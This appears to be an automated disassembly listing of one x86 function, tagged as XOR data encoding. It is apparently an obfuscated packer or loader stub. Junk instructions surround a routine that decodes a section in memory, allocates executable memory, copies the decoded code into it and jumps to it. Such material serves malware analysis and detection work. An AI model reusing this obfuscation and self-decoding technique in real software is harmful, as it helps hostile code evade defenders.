Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x37c7b979
add eax, 0x5f398289
or eax, edi
or eax, eax
popal
add eax, eax
or eax, eax
mov edi, 0
mov ecx, esi
add ebx, 1
inc ebx
mov edx, 0xdd67551e
mov eax, ecx
sub edx, 0x6ba8dda0
add edx, edx
mov esi, eax
or ebx, ebx
not ebx
inc edi
add ebx, ebx
dec edx
cmp edi, 0x100bd3e
jne 0xa789c6
add ebx, ebx
mov ebx, edx
add edx, 0x7affc629
mov eax, 0x803b2870
not edi
sub edi, 1
mov ebx, 0xa78796
and edi, edi
add edx, esi
mov eax, 0xa7898a
dec edx
sub edi, 0x2f08481
not edi
mov ecx, dword [ebx]
inc edx
add edi, 1
mov edx, 0xa96bf0b7
and ecx, 0xff
and esi, edx
or edx, edi
xor dword [eax], ecx
or edx, edx
mov edx, 0x6375b164
inc eax
and esi, edx
mov edx, 0x6f633790
not edi
inc ebx
sub edx, 0xadabfe4
mov edx, 0xfc946315
cmp eax, entry0
jl 0xa78a22
mov esi, edx
and edi, esi
mov edx, esi
add edi, edx
sub edx, edi
and ecx, ecx
not edi
mov edi, 0x819c203b
mov ebx, 0xa7898e
and esi, edx
or edx, esi
mov ebx, dword [ebx]
mov edi, 0x8f17a152
and edx, ecx
mov esi, ecx
mov ebx, dword [ebx]
mov edx, esi
sub esi, edi
mov ecx, edx
push ebx
mov ecx, 0xb49a7b81
or edx, edi
add edi, 0x28b311f0
mov ebx, 0xa7898a
and edi, esi
not esi
and ecx, ecx
mov ebx, dword [ebx]
mov edx, 0x7cdded72
add edi, 1
mov ebx, dword [ebx]
sub edi, ecx
sub edi, 0x6a3c8419
push 0xa78992
sub edi, 0x66401494
dec edi
call ebx
mov edi, 0xc5b2c7a6
inc edx
pop ebx
mov ecx, 0x73a6ce8e
mov esi, edi
and ecx, ecx
push 0xa7899f
sub edi, esi
sub esi, 0xdcdfbe38
not edx
sub esp, 4
mov dword [esp], eax
not esi
mov edi, 0x74192206
call ebx
not esi
mov esi, edi
add esi, 0x877eee9e
push 0x40
mov edx, edi
or edx, ecx
push 0x3000
mov ecx, 0x11d27efe
mov ecx, esi
sub esp, 4
mov dword [esp], 0x20000e6e
mov ecx, 0xe02b86f3
inc esi
add edi, 1
sub esp, 4
mov dword [esp], 0
mov ecx, edx
sub ecx, edx
call eax
inc esi
mov edi, ecx
add eax, 0x20000db7
sub edi, esi
or ecx, edi
mov ebx, 0x450fafda
add edi, ecx
sub edi, ecx
mov dword [eax], ebx
inc edi
not ecx
add ecx, esi
mov ebx, dword [eax]
sub edx, edi
mov edx, esi
sub edx, 0x7b2ed987
cmp ebx, 0x450fafda
je 0xa78b7d
mov ecx, 0
mov byte [ecx], dl
sub edx, 0xf1cd4f97
not ecx
dec edi
not esi
inc edi
add ecx, 1
mov edi, eax
mov eax, edi
and eax, edi
mov ecx, section.UPf1
not eax
mov eax, 0xc28b6dfa
inc edi
mov esi, 0xa78795
mov eax, 0xd0e14ae1
sub eax, edi
add eax, 0x419dcb4
mov ebx, 0
mov eax, edi
inc edi
sub edi, eax
mov edx, 0xa78796
add eax, 0x6c954f43
sub eax, edi
lea edx, [ebx + edx]
inc eax
add edi, eax
sub edi, eax
mov edx, dword [edx]
mov edi, 0xe92eb6a3
mov eax, edi
not eax
and edx, 0xff
add eax, eax
add eax, edi
sub edi, 0xf1195f48
inc ebx
sub eax, edi
dec edi
sub eax, edi
cmp ebx, 0x1f4
jne 0xa78c01
mov ebx, 0
not eax
mov edi, 0xaefc7493
or eax, edi
mov eax, 0xe96b7493
dec edi
add eax, 0x13701420
xor dword [ecx], edx
sub eax, edi
add edi, 0xf2837f88
add ecx, 2
add eax, edi
add eax, eax
cmp ecx, esi
jl 0xa78bbe
mov eax, 0xe3551455
or edi, eax
or eax, eax
or eax, eax
or edi, eax
mov edi, section.UPf1
mov esi, ebx
mov esi, 0x77561212
mov ebx, 0x73fe7f64
mov edx, section.UPf1
mov ebx, 0x4e39c233
dec esi
mov eax, 0xa78795
not esi
add esi, ebx
mov ecx, 0
and ebx, esi
sub esi, 0xd579ad0f
mov cl, byte [edx]
add ebx, 0xad93fded
not esi
add ebx, ebx
mov byte [edi], cl
dec ebx
add ebx, 0x686d8623
dec esi
inc edi
sub ebx, esi
and esi, ebx
add ebx, 1
add edx, 2
sub esi, 0x7a733c0a
add ebx, 0x6e717874
cmp edx, eax
jle 0xa78c71
add esi, 0xd3055249
sub ebx, 0xb415722c
or edi, eax
dec eax
inc eax
push 0x8dc6a0
sub edi, eax
mov edi, 0x4a7b0433
ret